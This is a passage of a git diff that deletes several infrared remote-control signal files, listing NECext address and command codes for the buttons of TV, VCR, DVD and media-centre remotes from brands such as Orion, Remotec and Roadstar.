a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir deleted file mode 100644 index 1b95610a7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: Memory -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: TV/Radio -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: GuideUp -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: GuideDown -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: PRList -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: P/N -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: Spiral -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: TV/AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir deleted file mode 100644 index 0ec5212ba..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 0F 00 00 00 -# -name: still -type: parsed -protocol: NECext -address: 80 7E 00 00 -command: 10 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_orion/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_orion/128,123.ir deleted file mode 100644 index 844193531..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_orion/128,123.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CH0 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 00 00 00 00 -# -name: CH1 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 01 00 00 00 -# -name: CH2 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 02 00 00 00 -# -name: CH3 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 03 00 00 00 -# -name: CH4 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 04 00 00 00 -# -name: CH5 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 05 00 00 00 -# -name: CH6 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 06 00 00 00 -# -name: CH7 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 07 00 00 00 -# -name: CH8 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 08 00 00 00 -# -name: CH9 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0B 00 00 00 -# -name: TIMER_REC -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0D 00 00 00 -# -name: AUDIOSELECT -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0E 00 00 00 -# -name: CH10+ -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0F 00 00 00 -# -name: TVVCR -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 13 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 16 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 17 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 19 00 00 00 -# -name: PAUSESTILL -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1A 00 00 00 -# -name: SHOWVIEW -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1D 00 00 00 -# -name: SPEEDSPLP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1E 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 45 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4A 00 00 00 -# -name: COUNTERMEMORY -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4B 00 00 00 -# -name: COUNTERRESET -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4E 00 00 00 -# -name: AUDIODUBBING -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 50 00 00 00 -# -name: CLOCKCOUNTER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 51 00 00 00 -# -name: ATR -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 52 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir deleted file mode 100644 index fc6c99d1f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: pc-off -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: vol+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: vol- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: fn -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: tv/pc -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 16 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: back -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: channel+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: channel- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: pause -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: rew -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 32 00 00 00 -# -name: play -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: forw -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: stop -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 -# -name: rec -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 37 00 00 00 -# -name: epg -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 41 00 00 00 -# -name: help -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 4A 00 00 00 -# -name: up -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 50 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 51 00 00 00 -# -name: menu -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 52 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 55 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 56 00 00 00 -# -name: ok -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 57 00 00 00 -# -name: my-tv -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 6B 00 00 00 -# -name: my-music -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 6C 00 00 00 -# -name: my-pictures -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 6D 00 00 00 -# -name: my-videos -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 6E 00 00 00 -# -name: next -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 70 00 00 00 -# -name: prev -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir deleted file mode 100644 index 0d1298588..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tv-0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: tv-1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: tv-2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: tv-3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: tv-4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: tv-5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: tv-6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: tv-7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: tv-8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: tv-9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: tv-double -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: tv-p2p -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: tv-off -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: tv-mute -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: tv-vol-up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: tv-vol-down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: tv-p-up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: tv-p-down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: tv-1-2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: tv-pause -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: tv-prev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: tv-next -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: tv-switch -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: tv-stop -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: tv-play -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir deleted file mode 100644 index 1d88e094c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: p_up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: p_down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: i-ii -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir deleted file mode 100644 index 5f9bfed6d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: I-II -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: p-p -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir deleted file mode 100644 index 376164190..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: p-p -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: digits -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2D 00 00 00 -# -name: prog-dn -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 30 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir deleted file mode 100644 index 3b9636848..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 09 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0B 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 0F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 10 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 11 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 12 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 13 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 14 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 15 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 17 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 19 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 1A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 1B 00 00 00 -# -name: f.bwd -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 1C 00 00 00 -# -name: f.fwd -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 1D 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 1E 00 00 00 -# -name: repeat_a-b -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 1F 00 00 00 -# -name: repeat_all -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 40 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 41 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 42 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 44 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 45 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 46 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 47 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 88 00 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir deleted file mode 100644 index 33ed4c5fa..000000000 